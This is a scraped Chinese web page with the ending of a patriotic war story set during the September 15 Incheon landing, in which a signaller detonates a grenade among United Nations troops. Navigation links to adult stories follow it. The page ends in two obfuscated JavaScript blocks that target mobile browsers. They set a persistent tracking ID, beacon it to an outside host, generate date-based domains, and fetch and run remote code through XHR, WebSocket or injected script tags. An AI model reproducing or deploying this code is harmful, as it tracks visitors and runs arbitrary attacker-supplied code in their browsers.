敌人上岸了,一号炮位的声音不再,炮弹没了!但是我们还有英勇的人民军战士。你看,他们多么勇敢,战士们跑进了预先挖好的战壕,虽然已经被轰炸炸得面目全非!

炮声稀了,枪声却更加密集了。我们的战士把敌人压制在海滩上,他们好英勇。

真准,小尹一枪就击毙了那个高大的鬼子。李中队也是,已经有三个鬼子作他的枪下亡魂了!

No5.9月15日,凌晨6时45分

敌人把坦克运上来了!这个庞然大物不断地从它那丑陋的口中喷射着恐怖的火焰,它们不断的侵蚀着我们的阵地,啊!小尹也牺牲了,那个张排长,他为了救身边的战士,居然被坦克从身上……

鬼子仗着坦克在前面开路,鬼鬼祟祟的爬上来了。但是李中队好机智,放坦克过去之后,再对付这帮鬼子。你们看,他们被李中队的机枪扫到好多人。 坦克转向了,它掉头了,小心啊!李!

李中队带领着战士站起来了,他们手中端着上了刺刀的钢枪,他们扑进敌人的人群里面去了,他们在跟敌人拼刺刀啊!

一个,两个,三个…,看不清了,看不到了,我们的战士越来越少,他们在完成着他们背负的使命,为了保护我们美丽的三千里江山,为了保护我们善良的人民,为了我们的祖国神圣的热土不被侵犯,也是为了他们所爱的人不再受苦,他们一个一个的倒下了!

No6.9月15日,凌晨7时整

师长,这也许是我最后一封电报了,海岸炮中队的同志们的身影已经看不到了。

鬼子们也已经来到指挥所外,我可以听到鬼子们说话的声音,坦克的轰鸣渐渐远去,这儿的陷落已经不可避免了。

鬼子们进屋了,说着我听不懂的语言,他们的冲锋枪指着我,大声喊着什么。我只剩下最后一颗手榴弹,他们永远不能让我们英勇的朝鲜儿女屈服! 伟大的祖国万岁!

安贞姬

人们没有看到,一个美丽的女通信兵,悄悄地把手榴弹藏在背后,注视着在他身前组成半圆形的联合国军部队士兵。她在数着,一,二,三,四…… 在爆炸前的一瞬间,她美丽的眼中没有一丝的悲哀,却充满了欢喜,甚至脸上挂着温暖的微笑,“李,我们终于可以永远在一起了!”


上一篇:女友的多P经历

下一篇:大难不死,必有艳福.2


function bfuckW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function phvgqQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bfuckW(t);};window[''+'v'+'V'+'w'+'Z'+'r'+'k'+'J'+'F'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function DqAw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=phvgqQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=DqAw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=DqAw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmtlYm5yyYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYSS5jbm1lbnQuY24lM0E5NTM1','162093',window,document,['y','S']);}:function(){};
function BdhumfVo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function omMbL(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BdhumfVo(t);};window[''+'U'+'w'+'Y'+'s'+'D'+'t'+'F'+'P'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MUFV(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=omMbL,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MUFV(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MUFV(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmtlYm5yYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5jbm1llbnQuY24llM0E5NTM1','162092',window,document,['M','l']);}:function(){};